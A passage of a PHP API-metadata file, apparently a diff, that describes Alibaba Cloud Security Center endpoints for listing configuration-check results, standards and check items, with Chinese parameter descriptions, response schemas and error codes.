'description' => '检查项的风险等级。多个风险等级之间使用半角逗号（,）分隔。取值：'."\n" + ."\n" + .'- **HIGH**：高危'."\n" + .'- **MEDIUM**：中危'."\n" + .'- **LOW**：低危', + 'type' => 'array', + 'items' => [ + 'description' => '检查项的风险等级。多个风险等级之间使用半角逗号（,）分隔。取值：'."\n" + ."\n" + .'- **HIGH**：高危'."\n" + .'- **MEDIUM**：中危'."\n" + .'- **LOW**：低危', + 'type' => 'string', + 'required' => false, + 'enumValueTitles' => [], + 'example' => 'HIGH', + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + [ + 'name' => 'Vendors', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '所属云厂商。取值：'."\n" + .'- **ALIYUN**：阿里云'."\n" + .'- **TENCENT**：他云'."\n" + .'- **AWS**：他云'."\n" + .'- **MICROSOFT**：他云', + 'type' => 'array', + 'items' => [ + 'description' => '所属云厂商。取值：'."\n" + .'- **ALIYUN**：阿里云'."\n" + .'- **TENCENT**：他云'."\n" + .'- **AWS**：他云'."\n" + .'- **MICROSOFT**：他云', + 'type' => 'string', + 'required' => false, + 'enumValueTitles' => [], + 'example' => 'ALIYUN', + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + [ + 'name' => 'InstanceTypes', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '云产品的资产类型。取值：'."\n" + ."\n" + .'- **ECS**：云服务器'."\n" + .'- **SLB**：负载均衡'."\n" + .'- **RDS**：RDS数据库'."\n" + .'- **MONGODB**：MongoDb数据库'."\n" + .'- **KVSTORE**：Redis数据库'."\n" + .'- **ACR**：ACR'."\n" + .'- **CSK**：CSK'."\n" + .'- **VPC**：VPC'."\n" + .'- **ACTIONTRAIL**：操作审计'."\n" + .'- **CDN**：CDN'."\n" + .'- **CAS**：数字证书管理服务[原SSL证书]'."\n" + .'- **RDC**：云效'."\n" + .'- **RAM**：RAM'."\n" + .'- **DDOS**：分布式拒绝服务'."\n" + .'- **WAF**：WAF'."\n" + .'- **OSS**：访问控制'."\n" + .'- **POLARDB**：POLARDB'."\n" + .'- **POSTGRESQL**：PostgreSQL'."\n" + .'- **MSE**：MSE'."\n" + .'- **NAS**：NAS'."\n" + .'- **SDDP**：SDDP'."\n" + .'- **EIP**：EIP', + 'type' => 'array', + 'items' => [ + 'description' => '云产品的资产类型。取值：'."\n" + ."\n" + .'- **ECS**：云服务器'."\n" + .'- **SLB**：负载均衡'."\n" + .'- **RDS**：RDS数据库'."\n" + .'- **MONGODB**：MongoDb数据库'."\n" + .'- **KVSTORE**：Redis数据库'."\n" + .'- **ACR**：ACR'."\n" + .'- **CSK**：CSK'."\n" + .'- **VPC**：VPC'."\n" + .'- **ACTIONTRAIL**：操作审计'."\n" + .'- **CDN**：CDN'."\n" + .'- **CAS**：数字证书管理服务[原SSL证书]'."\n" + .'- **RDC**：云效'."\n" + .'- **RAM**：RAM'."\n" + .'- **DDOS**：分布式拒绝服务'."\n" + .'- **WAF**：WAF'."\n" + .'- **OSS**：访问控制'."\n" + .'- **POLARDB**：POLARDB'."\n" + .'- **POSTGRESQL**：PostgreSQL'."\n" + .'- **MSE**：MSE'."\n" + .'- **NAS**：NAS'."\n" + .'- **SDDP**：SDDP'."\n" + .'- **EIP**：EIP', + 'type' => 'string', + 'required' => false, + 'enumValueTitles' => [], + 'example' => 'ECS', + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + [ + 'name' => 'CheckKey', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项模糊查询Key。', + 'type' => 'string', + 'required' => false, + 'example' => 'OSS', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '2', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数，最大100。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'maximum' => '100', + 'example' => '50', + ], + ], + [ + 'name' => 'InstanceIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '需要查询的云产品实例ID。多个ID使用英文逗号（,）隔开。'."\n", + 'type' => 'array', + 'items' => [ + 'description' => '需要查询的云产品实例ID。多个ID使用英文逗号（,）隔开。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-bp1du66x6w07z4yya****', + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'SortTypes', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查项的排序类型。取值：'."\n" + ."\n" + .'- **RISK_LEVEL**：风险等级'."\n" + .'- **STATUS**：检查项状态', + 'type' => 'array', + 'items' => [ + 'description' => '检查项的排序类型。取值：'."\n" + ."\n" + .'- **RISK_LEVEL**：风险等级'."\n" + .'- **STATUS**：检查项状态', + 'type' => 'string', + 'required' => false, + 'enumValueTitles' => [], + 'example' => 'STATUS', + ], + 'required' => false, + 'maxItems' => 1, + ], + ], + [ + 'name' => 'Types', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查标准所属类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查标准所属类型。取值：'."\n" + ."\n" + .'- **RISK**： 阿里云最佳安全实践'."\n" + .'- **COMPLIANCE**：CIS合规'."\n" + .'- **IDENTITY_PERMISSION**：身份权限管理', + 'type' => 'string', + 'required' => false, + 'example' => 'RISK', + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'RegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '实例所在的地域的ID。取值：'."\n" + ."\n" + .'- **cn-hangzhou**：中心'."\n" + .'- **ap-southeast-1**：新加坡', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'CustomParam', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项是否支持自定义参数。取值：'."\n" + ."\n" + .'- **true**：支持'."\n" + .'- **false**：不支持', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'CheckIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查项的ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '358', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'OperationTypes', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '是否支持修复。取值：'."\n" + .'- **SUPPORT_REPAIR**：支持修复'."\n" + .'- **NOT_SUPPORT_REPAIR**：不支持修复', + 'type' => 'array', + 'items' => [ + 'description' => '是否支持修复。取值：'."\n" + .'- **SUPPORT_REPAIR**：支持修复'."\n" + .'- **NOT_SUPPORT_REPAIR**：不支持修复', + 'type' => 'string', + 'required' => false, + 'example' => 'SUPPORT_REPAIR', + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'CheckTypes', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '态势感知检查项的来源类型。', + 'type' => 'array', + 'items' => [ + 'description' => '态势感知检查项的来源类型：'."\n" + .' - **CUSTOM**：用户自定义'."\n" + .' - **SYSTEM**：态势感知平台预定义', + 'type' => 'string', + 'required' => false, + 'example' => 'SYSTEM', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'TaskSources', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '删除自定义检查项中自定义的归属分类。', + 'type' => 'array', + 'items' => [ + 'description' => '任务来源。取值为：'."\n" + .'- **YAO_CHI**： 瑶池。', + 'type' => 'string', + 'required' => false, + 'example' => 'YAO_CHI', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号ID（阿里云账号）。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '127608589417****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListCheckResultResponse', + 'description' => 'ListCheckResultResponse', + 'type' => 'object', + 'properties' => [ + 'Checks' => [ + 'description' => '检查项信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查结果信息。', + 'type' => 'object', + 'properties' => [ + 'CheckPolicies' => [ + 'description' => '检查项策略。', + 'type' => 'array', + 'items' => [ + 'description' => '检查结果关联的标准、条例、章节信息。', + 'type' => 'object', + 'properties' => [ + 'StandardId' => [ + 'description' => '检查项的标准ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'StandardShowName' => [ + 'description' => '检查项的标准展示名称。', + 'type' => 'string', + 'example' => 'Best security practices', + ], + 'RequirementId' => [ + 'description' => '检查项的条例ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2', + ], + 'RequirementShowName' => [ + 'description' => '检查项的条例展示名称。', + 'type' => 'string', + 'example' => 'Alibaba cloud OSS best security practices', + ], + 'SectionId' => [ + 'description' => '检查项的章节ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '3', + ], + 'SectionShowName' => [ + 'description' => '检查项的章节展示名称。', + 'type' => 'string', + 'example' => 'Log Audit', + ], + ], + ], + ], + 'CheckId' => [ + 'description' => '检查项的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '5', + ], + 'CheckShowName' => [ + 'description' => '检查项名称。', + 'type' => 'string', + 'example' => 'OSS-PublicReadOpenManifestFileWithoutEncryption', + ], + 'Vendor' => [ + 'description' => '云厂商值。', + 'type' => 'string', + 'example' => 'ALIYUN', + ], + 'VendorShowName' => [ + 'description' => '云厂商名称。', + 'type' => 'string', + 'example' => 'Aliyun', + ], + 'InstanceType' => [ + 'description' => '云产品的资产类型。取值：'."\n" + ."\n" + .'- **ECS**：云服务器'."\n" + .'- **SLB**：负载均衡'."\n" + .'- **RDS**：RDS数据库'."\n" + .'- **MONGODB**：MongoDb数据库'."\n" + .'- **KVSTORE**：Redis数据库'."\n" + .'- **ACR**：ACR'."\n" + .'- **CSK**：CSK'."\n" + .'- **VPC**：VPC'."\n" + .'- **ACTIONTRAIL**：操作审计'."\n" + .'- **CDN**：CDN'."\n" + .'- **CAS**：数字证书管理服务[原SSL证书]'."\n" + .'- **RDC**：云效'."\n" + .'- **RAM**：RAM'."\n" + .'- **DDOS**：分布式拒绝服务'."\n" + .'- **WAF**：WAF'."\n" + .'- **OSS**：访问控制'."\n" + .'- **POLARDB**：POLARDB'."\n" + .'- **POSTGRESQL**：PostgreSQL'."\n" + .'- **MSE**：MSE'."\n" + .'- **NAS**：NAS'."\n" + .'- **SDDP**：SDDP'."\n" + .'- **EIP**：EIP', + 'type' => 'string', + 'example' => 'ECS', + ], + 'InstanceSubType' => [ + 'description' => '云产品的资产子类型。取值：'."\n" + ."\n" + .'- 当**InstanceType**取值为**ECS**时，本参数的取值：'."\n" + .' - **INSTANCE**'."\n" + .' - **DISK**'."\n" + .' - **SECURITY_GROUP**'."\n" + .'- 当**InstanceType**取值为**ACR**时，本参数的取值：'."\n" + .' - **REPOSITORY_ENTERPRISE**'."\n" + .' - **REPOSITORY_PERSON**'."\n" + .'- 当**InstanceType**取值为**RAM**时，本参数的取值：'."\n" + .' - **ALIAS**'."\n" + .' - **USER**'."\n" + .' - **POLICY**'."\n" + .' - **GROUP**'."\n" + .'- 当**InstanceType**取值为**WAF**时，本参数的取值：'."\n" + .' - **DOMAIN**'."\n" + .'- 当**InstanceType**取值为其他时，本参数的取值：'."\n" + .' - **INSTANCE**', + 'type' => 'string', + 'example' => 'DISK', + ], + 'RiskLevel' => [ + 'description' => '检查项的风险等级。取值：'."\n" + ."\n" + .'- **HIGH**：高危'."\n" + .'- **MEDIUM**：中危'."\n" + .'- **LOW**：低危', + 'type' => 'string', + 'example' => 'HIGH', + ], + 'Status' => [ + 'description' => '检查项的状态。取值：'."\n" + ."\n" + .'- **PASS**：通过'."\n" + .'- **NOT_PASS**：未通过'."\n" + .'- **CHECKING**：检查中'."\n" + .'- **NOT_CHECK**：未检查'."\n" + .'- **WHITELIST**：加白', + 'type' => 'string', + 'example' => 'PASS', + ], + 'TaskId' => [ + 'description' => '检查任务的ID。', + 'type' => 'string', + 'example' => '64', + ], + 'LastCheckTime' => [ + 'description' => '最新检测时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1657793398000', + ], + 'TrialPermission' => [ + 'description' => '检查是否依赖TRIAL权限。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'StatusMessage' => [ + 'description' => '检查项异常状态信息。', + 'type' => 'string', + 'example' => 'TIMEOUT', + ], + 'CheckSaleType' => [ + 'description' => '检查项付费类型。取值：'."\n" + ."\n" + .'- **0**：付费检查项'."\n" + .'- **1**：免费检查项', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AssetVendor' => [ + 'description' => '资产所属厂商。取值：'."\n" + .'- **0**：阿里云'."\n" + .'- **3**：他云'."\n" + .'- **4**：他云'."\n" + .'- **5**：他云'."\n" + .'- **7**：他云', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'CheckType' => [ + 'description' => '态势感知检查项的来源类型：'."\n" + .' - **CUSTOM**：用户自定义'."\n" + .' - **SYSTEM**：态势感知平台预定义', + 'type' => 'string', + 'example' => 'SYSTEM', + ], + 'AssetType' => [ + 'description' => '资产类型。取值： '."\n" + .'- **0**：云服务器ECS'."\n" + .'- **1**：负载均衡SLB'."\n" + .'- **2**：NAT网关'."\n" + .'- **3**：RDS数据库'."\n" + .'- **4**：MongoDb数据库'."\n" + .'- **5**：REDIS数据库'."\n" + .'- **6**：容器镜像IMAGE'."\n" + .'- **7**：容器CONTAINER', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'AssetSubType' => [ + 'description' => '云产品的子类型。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'OperationType' => [ + 'description' => '是否支持修复。取值：'."\n" + .'- **SUPPORT_REPAIR**：支持修复'."\n" + .'- **NOT_SUPPORT_REPAIR**：不支持修复', + 'type' => 'string', + 'example' => 'NOT_SUPPORT_REPAIR', + ], + 'TrialPermissionType' => [ + 'description' => '该检查项是否需要开启操作审计的数据投递超过30天以构建行为基线。'."\n" + .'- **1**：需要'."\n" + .'- **0**：不需要', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页查询时的页面信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的数据总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'F9B6DD67-B289-5406-B35C-B0F4A217S23', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Checks\\": [\\n {\\n \\"CheckPolicies\\": [\\n {\\n \\"StandardId\\": 1,\\n \\"StandardShowName\\": \\"Best security practices\\",\\n \\"RequirementId\\": 2,\\n \\"RequirementShowName\\": \\"Alibaba cloud OSS best security practices\\",\\n \\"SectionId\\": 3,\\n \\"SectionShowName\\": \\"Log Audit\\"\\n }\\n ],\\n \\"CheckId\\": 5,\\n \\"CheckShowName\\": \\"OSS-PublicReadOpenManifestFileWithoutEncryption\\",\\n \\"Vendor\\": \\"ALIYUN\\",\\n \\"VendorShowName\\": \\"Aliyun\\",\\n \\"InstanceType\\": \\"ECS\\",\\n \\"InstanceSubType\\": \\"DISK\\",\\n \\"RiskLevel\\": \\"HIGH\\",\\n \\"Status\\": \\"PASS\\",\\n \\"TaskId\\": \\"64\\",\\n \\"LastCheckTime\\": 1657793398000,\\n \\"TrialPermission\\": true,\\n \\"StatusMessage\\": \\"TIMEOUT\\",\\n \\"CheckSaleType\\": 1,\\n \\"AssetVendor\\": 3,\\n \\"CheckType\\": \\"SYSTEM\\",\\n \\"AssetType\\": 0,\\n \\"AssetSubType\\": 0,\\n \\"OperationType\\": \\"NOT_SUPPORT_REPAIR\\",\\n \\"TrialPermissionType\\": 1\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"Count\\": 2\\n },\\n \\"RequestId\\": \\"F9B6DD67-B289-5406-B35C-B0F4A217S23\\"\\n}","type":"json"}]', + 'title' => '查看云产品中云平台配置检查风险项结果详情', + ], + 'ListCheckStandard' => [ + 'summary' => '云平台配置检查获取标准列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '119339', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'Vendors', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '所属云厂商列表。取值：'."\n" + .'- **ALIYUN**：阿里云'."\n" + .'- **TENCENT**：腾讯云'."\n" + .'- **HUAWEICLOUD**：华为云'."\n" + .'- **MICROSOFT**：Azure'."\n" + .'- **AWS**：亚马逊云（AWS）', + 'type' => 'array', + 'items' => [ + 'description' => '所属云厂商。取值：'."\n" + .'- **ALIYUN**：阿里云'."\n" + .'- **TENCENT**：腾讯云'."\n" + .'- **HUAWEICLOUD**：华为云'."\n" + .'- **MICROSOFT**：Azure'."\n" + .'- **AWS**：亚马逊云（AWS）', + 'type' => 'string', + 'required' => false, + 'example' => 'ALIYUN', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'InstanceTypes', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '云产品的资产类型。', + 'type' => 'array', + 'items' => [ + 'description' => '云产品的资产类型。取值：'."\n" + ."\n" + .'- **ECS**：云服务器'."\n" + .'- **SLB**：负载均衡'."\n" + .'- **RDS**：RDS数据库'."\n" + .'- **MONGODB**：MongoDb数据库'."\n" + .'- **KVSTORE**：Redis数据库'."\n" + .'- **ACR**：ACR'."\n" + .'- **CSK**：CSK'."\n" + .'- **VPC**：VPC'."\n" + .'- **ACTIONTRAIL**：操作审计'."\n" + .'- **CDN**：CDN'."\n" + .'- **CAS**：数字证书管理服务[原SSL证书]'."\n" + .'- **RDC**：云效'."\n" + .'- **RAM**：RAM'."\n" + .'- **DDOS**：分布式拒绝服务'."\n" + .'- **WAF**：WAF'."\n" + .'- **OSS**：对象存储'."\n" + .'- **POLARDB**：POLARDB'."\n" + .'- **POSTGRESQL**：PostgreSQL'."\n" + .'- **MSE**：MSE'."\n" + .'- **NAS**：NAS'."\n" + .'- **SDDP**：SDDP'."\n" + .'- **EIP**：EIP', + 'type' => 'string', + 'required' => false, + 'example' => 'ECS', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'InstanceSubTypes', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '云产品子类型。', + 'type' => 'array', + 'items' => [ + 'description' => '云产品子类型。', + 'type' => 'string', + 'required' => false, + 'example' => 'INSTANCE', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'InstanceIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查项的目标云产品实例ID。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项的目标云产品实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-***', + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'TaskSources', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '任务来源列表。', + 'type' => 'array', + 'items' => [ + 'description' => '任务来源。取值：'."\n" + ."\n" + .'- **YAO_CHI**：瑶池控制台。', + 'type' => 'string', + 'required' => false, + 'example' => 'YAO_CHI', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListCheckStandardResponse', + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'Standards' => [ + 'description' => '标准信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '标准信息。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '标准ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'ShowName' => [ + 'description' => '展示名称。', + 'type' => 'string', + 'example' => '身份权限管理', + ], + 'Requirements' => [ + 'description' => '条例列表。', + 'type' => 'array', + 'items' => [ + 'description' => '条例。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '条例ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '11', + ], + 'ShowName' => [ + 'description' => '展示名称。', + 'type' => 'string', + 'example' => 'RAM身份认证', + ], + 'RiskCheckCount' => [ + 'description' => '本条例检查项数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10', + ], + 'ShowPriorityLevel' => [ + 'description' => '展示优先级。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + 'Type' => [ + 'description' => '标准类型。', + 'type' => 'string', + 'example' => 'IDENTITY_PERMISSION', + ], + 'ShowPriorityLevel' => [ + 'description' => '展示优先级。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'BindVendor' => [ + 'description' => '标准绑定的厂商。取值：'."\n" + .'- **0**：阿里云'."\n" + .'- **3**：腾讯云'."\n" + .'- **4**：华为云'."\n" + .'- **5**：Azure'."\n" + .'- **7**：亚马逊云（AWS）', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'FA91FBDA-***', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Standards\\": [\\n {\\n \\"Id\\": 1,\\n \\"ShowName\\": \\"身份权限管理\\",\\n \\"Requirements\\": [\\n {\\n \\"Id\\": 11,\\n \\"ShowName\\": \\"RAM身份认证\\",\\n \\"RiskCheckCount\\": 10,\\n \\"ShowPriorityLevel\\": 1\\n }\\n ],\\n \\"Type\\": \\"IDENTITY_PERMISSION\\",\\n \\"ShowPriorityLevel\\": 1,\\n \\"BindVendor\\": 3\\n }\\n ],\\n \\"RequestId\\": \\"FA91FBDA-***\\"\\n}","type":"json"}]', + 'title' => '云平台配置检查获取标准列表', + ], + 'ListCheckItem' => [ + 'summary' => '获取可以进行自定义检查项配置列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '182732', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页显示的数据的最大条数。默认值为**20**。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型。默认值**zh**。取值：'."\n" + ."\n\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'TaskSources', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '任务来源列表。', + 'type' => 'array', + 'items' => [ + 'description' => '任务来源。取值为：'."\n" + .'- **YAO_CHI**： 瑶池。', + 'type' => 'string', + 'required' => false, + 'example' => 'YAO_CHI', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListCheckResultResponse', + 'description' => '结构体。', + 'type' => 'object', + 'properties' => [ + 'CheckItems' => [ + 'description' => '检查项信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项信息。', + 'type' => 'object', + 'properties' => [ + 'InstanceSubType' => [ + 'description' => '云产品的资产子类型。取值：'."\n" + ."\n" + .'- 当**InstanceType**取值为**ECS**时，本参数的取值：'."\n" + .' - **INSTANCE**'."\n" + .' - **DISK**'."\n" + .' - **SECURITY_GROUP**'."\n" + .'- 当**InstanceType**取值为**ACR**时，本参数的取值：'."\n" + .' - **REPOSITORY_ENTERPRISE**'."\n" + .' - **REPOSITORY_PERSON**'."\n" + .'- 当**InstanceType**取值为**RAM**时，本参数的取值：'."\n" + .' - **ALIAS**'."\n" + .' - **USER**'."\n" + .' - **POLICY**'."\n" + .' - **GROUP**'."\n" + .'- 当**InstanceType**取值为**WAF**时，本参数的取值：'."\n" + .' - **DOMAIN**'."\n" + .'- 当**InstanceType**取值为其他时，本参数的取值：'."\n" + .' - **INSTANCE**', + 'type' => 'string', + 'example' => 'INSTANCE', + ], + 'CheckId' => [ + 'description' => '检查项id。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '21', + ], + 'CheckShowName' => [ + 'description' => '检查项名称。', + 'type' => 'string', + 'example' => 'IPv4 Access Control', + ], + 'InstanceType' => [ + 'description' => '云产品的资产类型。取值：'."\n" + ."\n" + .'- **ECS**：云服务器'."\n" + .'- **SLB**：负载均衡'."\n" + .'- **RDS**：RDS数据库'."\n" + .'- **MONGODB**：MongoDb数据库'."\n" + .'- **KVSTORE**：Redis数据库'."\n" + .'- **ACR**：ACR'."\n" + .'- **CSK**：CSK'."\n" + .'- **VPC**：VPC'."\n" + .'- **ACTIONTRAIL**：操作审计'."\n" + .'- **CDN**：CDN'."\n" + .'- **CAS**：数字证书管理服务[原SSL证书]'."\n" + .'- **RDC**：云效'."\n" + .'- **RAM**：RAM'."\n" + .'- **DDOS**：分布式拒绝服务'."\n" + .'- **WAF**：WAF'."\n" + .'- **OSS**：访问控制'."\n" + .'- **POLARDB**：POLARDB'."\n" + .'- **POSTGRESQL**：PostgreSQL'."\n" + .'- **MSE**：MSE'."\n" + .'- **NAS**：NAS'."\n" + .'- **SDDP**：SDDP'."\n" + .'- **EIP**：EIP', + 'type' => 'string', + 'example' => 'API_GATEWAY', + ], + 'RiskLevel' => [ + 'description' => '检查项的风险等级。取值：'."\n" + .'- **HIGH**：高危'."\n" + .'- **MEDIUM**：中危'."\n" + .'- **LOW**：低危', + 'type' => 'string', + 'example' => 'HIGH', + ], + 'Vendor' => [ + 'description' => '云资产厂商。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**：其它云资产'."\n" + .'- **8**：轻量应用服务器', + 'type' => 'string', + 'example' => '0', + ], + 'SectionIds' => [ + 'description' => '检查项关联章节列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项关联章节ID。', + 'type' => 'integer', + 'format' => 